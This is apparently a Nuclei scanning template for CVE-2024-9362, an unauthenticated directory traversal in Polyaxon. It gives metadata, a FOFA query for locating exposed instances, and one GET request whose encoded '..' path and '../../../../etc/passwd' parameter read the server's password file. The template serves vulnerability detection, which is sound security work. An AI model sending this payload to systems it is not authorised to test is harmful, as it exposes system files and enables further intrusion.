id: CVE-2024-9362

info:
  name: Polyaxon - Unauthenticated Directory Traversal
  author: yunseo
  severity: high
  description: |
    Polyaxon latest version contains a path traversal caused by insufficient validation in directory access, letting unauthenticated attackers retrieve directory information and file contents, exploit requires no authentication.
  impact: |
    Attackers can access sensitive system directories and files, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version with patched validation mechanisms.
  reference:
    - https://github.com/polyaxon/polyaxon
    - https://huntr.com/bounties/d8dcb40f-ce76-4524-8d06-e0f12a07809d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-9362
    epss-score: 0.0428
    epss-percentile: 0.90125
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    fofa-query: title=="Polyaxon"
  tags: cve,cve2024,polyaxon,lfi,traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/streams/v1/polyaxon/default/s/runs/%2e%2e/artifact?stream=true&path=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0dfa4f343a6fa71f5fe73875163c1c2bdd8826aee4584132ddc5b9af2ae5a95022050b8cf72f9ae0100362d5536bc43805f3535a6a12d8276508cbded3943d25faf:922c64590222798bb761d5b6d8e72950